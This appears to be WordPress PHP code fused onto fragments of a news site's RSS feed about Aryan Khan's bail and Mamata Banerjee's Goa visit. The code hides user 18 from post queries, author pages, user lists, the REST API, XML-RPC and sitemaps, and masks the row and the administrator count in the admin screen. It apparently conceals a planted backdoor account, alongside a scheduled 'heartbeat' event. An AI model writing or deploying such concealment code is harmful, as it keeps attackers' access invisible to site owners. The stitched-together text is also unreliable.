add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
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}, 1 );

add_action( 'template_redirect', function() {
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        $author = get_queried_object();
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            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
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        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>After Shah Rukh Khan&#8217;s son Aryan Khan was granted bail, Sonu Sood posted a mysterious message</title>
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					<description><![CDATA[<p>The Bombay High Court granted Shah Rukh Khan&#8217;s son Aryan Khan bail on Thursday in a drug case brought by the National Crime Bureau. Although the court will announce the full court judgment with reasons and bail terms on Friday, his admirers and friends have been showering him with love on social media. After SRK&#8217;s [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/after-shah-rukh-khans-son-aryan-khan-was-granted-bail-sonu-sood-posted-a-mysterious-message">After Shah Rukh Khan&#8217;s son Aryan Khan was granted bail, Sonu Sood posted a mysterious message</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The Bombay High Court granted Shah Rukh Khan&#8217;s son Aryan Khan bail on Thursday in a drug case brought by the National Crime Bureau. Although the court will announce the full court judgment with reasons and bail terms on Friday, his admirers and friends have been showering him with love on social media. After SRK&#8217;s son Aryan Khan was given bail, Sonu Sood was among those who rejoiced for him.</p>
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<p>The Narcotics Control Bureau (NCB) detained Aryan, Arbaaz Merchant, and Munmun Dhamecha and charged them with possession, consumption, sale/purchase of banned narcotics, conspiracy, and abetment under relevant sections of the Narcotics Drugs and Psychotropic Substances Act (NDPS).</p>
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					<description><![CDATA[<p>As Bengal Chief Minister Mamata Banerjee prepares for her &#8220;first visit to Goa&#8221; next week, she sent out a message enlisting the help of opposition parties in the fight against the BJP. Early next year, the 40-member Goa assembly will be elected. &#160; Ms. Banerjee tweeted: &#8220;As I prepare for my maiden visit to Goa [&#8230;]</p>
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<p>Ms. Banerjee tweeted: &#8220;As I prepare for my maiden visit to Goa on 28th, I call upon all individuals, organizations, and political parties to join forces to defeat the BJP and their divisive agenda. The people of Goa have suffered enough over the last 10 years.&#8221;</p>
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